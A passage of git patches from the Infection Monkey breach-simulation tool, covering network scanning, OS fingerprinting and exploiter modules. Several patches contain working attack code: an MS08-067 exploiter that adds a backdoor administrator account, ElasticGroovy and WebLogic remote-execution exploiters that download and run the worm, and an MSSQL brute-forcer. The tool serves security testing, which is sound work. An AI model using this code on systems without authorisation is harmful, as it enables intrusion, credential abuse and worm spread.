'user', WormConfiguration.ms08_067_remote_user_add, + WormConfiguration.ms08_067_remote_user_pass, + '/add', '/ACTIVE:NO'] + retval = subprocess.call(cmd_line) + return retval From 7b5604a0de095692b3d24e680bfc60b20c6fe633 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 2 Jan 2019 19:31:42 +0200 Subject: [PATCH 53/89] Make post breach actions happen in the monkey --- monkey/infection_monkey/monkey.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 30eb57f1c..4d5bdf7dc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -109,6 +109,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + for action_class in WormConfiguration.post_breach_actions: + action = action_class() + action.act() + if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") From f4669bf3f5113ac591d9d54f2a8acc92e0309e27 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 12 Sep 2018 19:32:01 +0300 Subject: [PATCH 54/89] Make monkey always try to ping the remote machine. This catches more events for the cross segment analyser --- monkey/infection_monkey/monkey.py | 3 +-- monkey/infection_monkey/network/network_scanner.py | 13 +++++++------ 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 30eb57f1c..7fe31da40 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -129,8 +129,7 @@ class InfectionMonkey(object): if not self._keep_running or not WormConfiguration.alive: break - machines = self._network.get_victim_machines(WormConfiguration.scanner_class, - max_find=WormConfiguration.victims_max_find, + machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 2ccdfe74c..44ebbf3f2 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -6,7 +6,7 @@ from infection_monkey.config import WormConfiguration from infection_monkey.network.info import local_ips, get_interfaces_ranges from infection_monkey.model import VictimHost from infection_monkey.network import HostScanner - +from infection_monkey.network import TcpScanner, PingScanner __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -62,7 +62,7 @@ class NetworkScanner(object): return subnets_to_scan - def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): + def get_victim_machines(self, max_find=5, stop_callback=None): """ Finds machines according to the ranges specified in the object :param scan_type: A hostscanner class, will be instanced and used to scan for new machines @@ -70,10 +70,9 @@ class NetworkScanner(object): :param stop_callback: A callback to check at any point if we should stop scanning :return: yields a sequence of VictimHost instances """ - if not scan_type: - return - scanner = scan_type() + TCPscan = TcpScanner() + Pinger = PingScanner() victims_count = 0 for net_range in self._ranges: @@ -94,9 +93,11 @@ class NetworkScanner(object): continue LOG.debug("Scanning %r...", victim) + pingAlive = Pinger.is_host_alive(victim) + tcpAlive = TCPscan.is_host_alive(victim) # if scanner detect machine is up, add it to victims list - if scanner.is_host_alive(victim): + if pingAlive or tcpAlive: LOG.debug("Found potential victim: %r", victim) victims_count += 1 yield victim From d0998fc4f606c0a4e866e32f8b479ddc423b3827 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 12 Sep 2018 19:33:46 +0300 Subject: [PATCH 55/89] Remove scanner class from configuration --- monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - monkey/monkey_island/cc/services/config.py | 2 +- 3 files changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 4a63c082b..531b7d6dd 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -133,7 +133,6 @@ class Configuration(object): # how many scan iterations to perform on each run max_iterations = 1 - scanner_class = None finger_classes = [] exploiter_classes = [] diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 0779301d2..8e89bcc2a 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -64,7 +64,6 @@ "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, - "scanner_class": "TcpScanner", "self_delete_in_cleanup": true, "serialize_config": false, "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index dc0ecada8..62cc4e641 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -27,7 +27,7 @@ ENCRYPTED_CONFIG_ARRAYS = \ # This should be used for config values of string type ENCRYPTED_CONFIG_STRINGS = \ [ - + ] From 3dfc7242aa10d74425067c545a7ecf4fdbba2000 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 12 Sep 2018 19:34:14 +0300 Subject: [PATCH 56/89] Remove all usage of scanner_class --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7fe31da40..9c727d53f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -143,7 +143,7 @@ class InfectionMonkey(object): finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), - 'scanner': WormConfiguration.scanner_class.__name__}) + }) # skip machines that we've already exploited if machine in self._exploited_machines: From 372ffeaa048d126bd26fba342f4a4ce2272ca2bb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 6 Jan 2019 17:00:34 +0200 Subject: [PATCH 57/89] Remove scanner class from schema --- monkey/monkey_island/cc/services/config_schema.py | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index d4d294afc..fbbe21fe3 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -400,18 +400,6 @@ SCHEMA = { "title": "Classes", "type": "object", "properties": { - "scanner_class": { - "title": "Scanner class", - "type": "string", - "default": "TcpScanner", - "enum": [ - "TcpScanner" - ], - "enumNames": [ - "TcpScanner" - ], - "description": "Determines class to scan for machines. (Shouldn't be changed)" - }, "finger_classes": { "title": "Fingerprint classes", "type": "array", From c572e515a16aa9686cde05c65b5c1027f85494cb Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 6 Jan 2019 17:40:14 +0200 Subject: [PATCH 58/89] Let us properly fingerprint using ping --- monkey/infection_monkey/network/ping_scanner.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 075b57669..cad7e5bcb 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -59,10 +59,10 @@ class PingScanner(HostScanner, HostFinger): if regex_result: try: ttl = int(regex_result.group(0)) - if LINUX_TTL == ttl: - host.os['type'] = 'linux' - elif WINDOWS_TTL == ttl: + if (ttl > LINUX_TTL) and (ttl <= WINDOWS_TTL): host.os['type'] = 'windows' + if ttl <= LINUX_TTL: + host.os['type'] = 'linux' return True except Exception as exc: LOG.debug("Error parsing ping fingerprint: %s", exc) From 68093d084f1867ae252a9e76bee6b3cd51cb4673 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 7 Jan 2019 10:58:20 +0200 Subject: [PATCH 59/89] Rename ms08_067_remote_user_add and ms08_067_remote_user_pass to something more generic --- monkey/infection_monkey/config.py | 4 ++-- monkey/infection_monkey/example.conf | 4 ++-- monkey/infection_monkey/exploit/win_ms08_067.py | 12 ++++++------ monkey/infection_monkey/post_breach/add_user.py | 6 +++--- .../system_info/windows_info_collector.py | 2 +- monkey/monkey_island/cc/services/config_schema.py | 8 ++++---- 6 files changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8bf407d84..839a17018 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -208,8 +208,8 @@ class Configuration(object): skip_exploit_if_file_exist = False ms08_067_exploit_attempts = 5 - ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT" - ms08_067_remote_user_pass = "Password1!" + user_to_add = "Monkey_IUSER_SUPPORT" + remote_user_pass = "Password1!" # rdp exploiter rdp_use_vbs_download = True diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 66988720a..594ee62c7 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -57,8 +57,8 @@ "monkey_log_path_linux": "/tmp/user-1563", "send_log_to_server": true, "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", + "user_to_add": "Monkey_IUSER_SUPPORT", + "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, "rdp_use_vbs_download": true, "smb_download_timeout": 300, diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 9f8837157..41b3820d5 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % - (self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass, - self._config.ms08_067_remote_user_add)) + (self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add)) time.sleep(2) reply = sock.recv(1000) @@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter): remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path_win_32, - self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass) + self._config.user_to_add, + self._config.remote_user_pass) if not remote_full_path: # try other passwords for administrator @@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter): try: sock.send("start %s\r\n" % (cmdline,)) - sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) + sock.send("net user %s /delete\r\n" % (self._config.user_to_add,)) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py index 8551382b7..b8cb9a027 100644 --- a/monkey/infection_monkey/post_breach/add_user.py +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -36,14 +36,14 @@ class BackdoorUser(object): def add_user_linux(): cmd_line = ['useradd', '-M', '--expiredate', datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.ms08_067_remote_user_add] + WormConfiguration.user_to_add] retval = subprocess.call(cmd_line) return retval @staticmethod def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.ms08_067_remote_user_add, - WormConfiguration.ms08_067_remote_user_pass, + cmd_line = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, '/add', '/ACTIVE:NO'] retval = subprocess.call(cmd_line) return retval diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 1348a6fcb..7c3739a0f 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -36,7 +36,7 @@ class WindowsInfoCollector(InfoCollector): """ LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() - self.get_wmi_info() + #self.get_wmi_info() self.get_installed_packages() from infection_monkey.config import WormConfiguration if WormConfiguration.should_use_mimikatz: diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index e9d2ad2ce..52d829abf 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -701,14 +701,14 @@ SCHEMA = { "default": 5, "description": "Number of attempts to exploit using MS08_067" }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", + "user_to_add": { + "title": "Remote user", "type": "string", "default": "Monkey_IUSER_SUPPORT", "description": "Username to add on successful exploit" }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", + "remote_user_pass": { + "title": "Remote user password", "type": "string", "default": "Password1!", "description": "Password to use for created user" From 0bfde8d047eaac89878e08b853a2654881bc9610 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 7 Jan 2019 18:11:31 +0200 Subject: [PATCH 60/89] - adjusted config to mssql exploiter. --- monkey/monkey_island/cc/services/config_schema.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 52d829abf..2b789c1e6 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -23,6 +23,13 @@ SCHEMA = { ], "title": "WMI Exploiter" }, + { + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, { "type": "string", "enum": [ @@ -670,6 +677,7 @@ SCHEMA = { "default": [ "SmbExploiter", "WmiExploiter", + "MSSQLExploiter", "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", From c47047c815da8dd8367dcc3223ca4580f430af9c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 16 Jan 2019 16:15:18 +0200 Subject: [PATCH 61/89] Added CMD prefix to windows commands that check for exploitability and upload monkey. --- .../infection_monkey/exploit/elasticgroovy.py | 21 +++++++++++++++++-- monkey/infection_monkey/model/__init__.py | 2 ++ 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 9eb64682b..2de001ba3 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP +from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): @@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE): return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except (KeyError, IndexError): return None + + def check_if_exploitable(self, url): + # Overridden web_rce method that adds CMD prefix for windows command + try: + if 'windows' in self.host.os['type']: + resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) + else: + resp = self.exploit(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False \ No newline at end of file diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 35a63f2a2..e6c2e63a5 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -24,6 +24,8 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING +# CMD prefix for windows commands +CMD_PREFIX = "cmd.exe /c" # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" From dfe6cf073ed241d4ea07358fe79029a3544f962d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 20 Jan 2019 15:13:48 +0200 Subject: [PATCH 62/89] - Added dynamic file creation on runtime instead of a static payload file --- monkey/infection_monkey/exploit/mssqlexec.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 5c3c92600..1ffbd973e 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -22,6 +22,21 @@ class MSSQLExploiter(HostExploiter): self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] + @staticmethod + def create_payload_file(payload_path=DEFAULT_PAYLOAD_PATH): + """ + This function creates dynamically the payload file to be transported and ran on the exploited machine. + :param payload_path: A path to the create the payload file in + :return: True if the payload file was created and false otherwise. + """ + try: + with open(payload_path, 'w+') as payload_file: + payload_file.write('dir C:\\') + return True + except Exception as e: + LOG.error("Payload file couldn't be created", exec_info=True) + return False + def exploit_host(self): """ Main function of the mssql brute force @@ -29,6 +44,9 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + + if not MSSQLExploiter.create_payload_file(): + return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, self.DEFAULT_PAYLOAD_PATH): LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) From 9e0fbdaac3cc703c5e396d080a664370545da6ea Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 20 Jan 2019 16:09:40 +0200 Subject: [PATCH 63/89] - Updated dynamic payload file creation --- monkey/infection_monkey/exploit/mssqlexec.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 1ffbd973e..985394a29 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,3 +1,5 @@ +import os +import platform from os import path import logging @@ -15,15 +17,14 @@ class MSSQLExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH = path.abspath(r'.monkey_utils\payloads\mssqlexec_payload.bat') + DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] - @staticmethod - def create_payload_file(payload_path=DEFAULT_PAYLOAD_PATH): + def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): """ This function creates dynamically the payload file to be transported and ran on the exploited machine. :param payload_path: A path to the create the payload file in @@ -34,7 +35,7 @@ class MSSQLExploiter(HostExploiter): payload_file.write('dir C:\\') return True except Exception as e: - LOG.error("Payload file couldn't be created", exec_info=True) + LOG.error("Payload file couldn't be created", exc_info=True) return False def exploit_host(self): @@ -45,7 +46,7 @@ class MSSQLExploiter(HostExploiter): """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - if not MSSQLExploiter.create_payload_file(): + if not self.create_payload_file(): return False if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, self.DEFAULT_PAYLOAD_PATH): From c38793b52740a70cc84391d1181291d2cac742c5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 23 Jan 2019 13:59:00 +0200 Subject: [PATCH 64/89] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index a53eb9c5b..6ab6813ce 100644 --- a/README.md +++ b/README.md @@ -41,6 +41,8 @@ Setup ------------------------------- Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/). +The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility). + Building the Monkey from source ------------------------------- From 074aa1af5070ac5a8d69a5f275cec2df58349c23 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 24 Jan 2019 13:58:58 +0200 Subject: [PATCH 65/89] TCP scanner now sleeps in miliseconds instead of seconds. --- monkey/infection_monkey/network/network_scanner.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 8fd8c2b65..ccffcbbbb 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -107,7 +107,8 @@ class NetworkScanner(object): break if WormConfiguration.tcp_scan_interval: - time.sleep(WormConfiguration.tcp_scan_interval) + # time.sleep uses seconds, while config is in milliseconds + time.sleep(WormConfiguration.tcp_scan_interval/1000) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 6073e9f677c2d27df62841d5804c249f33764063 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 24 Jan 2019 17:28:44 +0200 Subject: [PATCH 66/89] Improved the speed of weblogic exploiter --- monkey/infection_monkey/exploit/weblogic.py | 36 ++++++++++++++++++--- 1 file changed, 31 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index ac78555af..98b20ad6c 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -13,13 +13,16 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import threading import logging +import time __author__ = "VakarisZ" LOG = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 -# How long to wait for a request to go to vuln machine and then to our server from there. In seconds +# How long should be wait after each request in seconds +REQUEST_DELAY = 0.0001 +# How long to wait for a sign(request from host) that server is vulnerable. In seconds REQUEST_TIMEOUT = 2 # How long to wait for response in exploitation. In seconds EXECUTION_TIMEOUT = 15 @@ -66,18 +69,41 @@ class WebLogicExploiter(WebRCE): print(e) return True - def check_if_exploitable(self, url): + def add_vulnerable_urls(self, urls): + """ + Overrides parent method to use listener server + """ # Server might get response faster than it starts listening to it, we need a lock httpd, lock = self._start_http_server() + exploitable = False + + for url in urls: + if self.check_if_exploitable(url, httpd): + exploitable = True + break + + if not exploitable and httpd.get_requests < 1: + # Wait for responses + time.sleep(REQUEST_TIMEOUT) + + if httpd.get_requests > 0: + # Add all urls because we don't know which one is vulnerable + self.vulnerable_urls.extend(urls) + self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + else: + LOG.info("No vulnerable urls found, skipping.") + + self._stop_http_server(httpd, lock) + + def check_if_exploitable(self, url, httpd): payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) try: - post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) + post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: - # Our request does not get response thus we get ReadTimeout error + # Our request will not get response thus we get ReadTimeout error pass except Exception as e: LOG.error("Something went wrong: %s" % e) - self._stop_http_server(httpd, lock) return httpd.get_requests > 0 def _start_http_server(self): From 0feb19ede52f644eb2fbfaa1d4863d1571ebd42b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 26 Jan 2019 19:42:35 +0200 Subject: [PATCH 67/89] PEP8 stuff --- monkey/common/cloud/aws.py | 3 ++- monkey/monkey_island/cc/resources/exporter.py | 4 +--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index afb69c1fe..2b539de67 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -8,7 +8,8 @@ class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read() - self.region = self._parse_region(urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) + self.region = self._parse_region( + urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) except urllib2.URLError: self.instance_id = None self.region = None diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py index 1cf0c1b10..e79fabc07 100644 --- a/monkey/monkey_island/cc/resources/exporter.py +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -1,6 +1,4 @@ - -class Exporter: - +class Exporter(object): def __init__(self): pass From 151ec3dbc9e63bdd5da95d7b7d1a1921882ce8ec Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 26 Jan 2019 20:11:38 +0200 Subject: [PATCH 68/89] Fix TTL split logic --- monkey/infection_monkey/network/ping_scanner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index cad7e5bcb..cbaecedfb 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -59,10 +59,10 @@ class PingScanner(HostScanner, HostFinger): if regex_result: try: ttl = int(regex_result.group(0)) - if (ttl > LINUX_TTL) and (ttl <= WINDOWS_TTL): - host.os['type'] = 'windows' if ttl <= LINUX_TTL: host.os['type'] = 'linux' + else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up. + host.os['type'] = 'windows' return True except Exception as exc: LOG.debug("Error parsing ping fingerprint: %s", exc) From ef0ccc9cc967d54dd121806d4738cd2391395d30 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 8 Feb 2018 17:41:55 +0200 Subject: [PATCH 69/89] Add thread ID logging to the configuration log. --- monkey/infection_monkey/main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index be45afce4..453c155b5 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -21,7 +21,7 @@ LOG = None LOG_CONFIG = {'version': 1, 'disable_existing_loggers': False, 'formatters': {'standard': { - 'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, + 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, }, 'handlers': {'console': {'class': 'logging.StreamHandler', 'level': 'DEBUG', From 96cc4edba93d17258b4da39348e831328b64bbc4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Oct 2018 14:45:42 +0300 Subject: [PATCH 70/89] Domain name translation fully implemented and displayed in map and report --- monkey/common/network/network_range.py | 29 ++++++++++++++++++- monkey/infection_monkey/model/host.py | 3 +- .../network/network_scanner.py | 6 +++- .../monkey_island/cc/resources/telemetry.py | 6 ++-- monkey/monkey_island/cc/services/node.py | 14 ++++++--- 5 files changed, 49 insertions(+), 9 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index a2142ce0e..3adace9bc 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -5,9 +5,13 @@ from abc import ABCMeta, abstractmethod import ipaddress from six import text_type +import logging +import re __author__ = 'itamar' +LOG = logging.getLogger(__name__) + class NetworkRange(object): __metaclass__ = ABCMeta @@ -111,7 +115,7 @@ class IpRange(NetworkRange): class SingleIpRange(NetworkRange): def __init__(self, ip_address, shuffle=True): super(SingleIpRange, self).__init__(shuffle=shuffle) - self._ip_address = ip_address + self._ip_address, self.domain_name = self.string_to_host(ip_address) def __repr__(self): return "" % (self._ip_address,) @@ -121,3 +125,26 @@ class SingleIpRange(NetworkRange): def _get_range(self): return [SingleIpRange._ip_to_number(self._ip_address)] + + @staticmethod + def string_to_host(string): + """ + Converts the string that user entered in "Scan IP/subnet list" to dict of domain name and ip + :param string: String that was entered in "Scan IP/subnet list" + :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) + """ + # The most common use case is to enter ip/range into "Scan IP/subnet list" + domain_name = '' + ip = string + + # If a string was entered instead of IP we presume that it was domain name and translate it + if re.search('[a-zA-Z]', string): + try: + ip = socket.gethostbyname(string) + domain_name = string + except socket.error: + LOG.error( + "You'r specified host: {} is neither found as domain name nor it's an IP address".format(string)) + return socket.error + return ip, domain_name + diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 00bf08053..592cb290a 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -2,8 +2,9 @@ __author__ = 'itamar' class VictimHost(object): - def __init__(self, ip_addr): + def __init__(self, ip_addr, domain_name=''): self.ip_addr = ip_addr + self.domain_name = domain_name self.os = {} self.services = {} self.monkey_exe = None diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 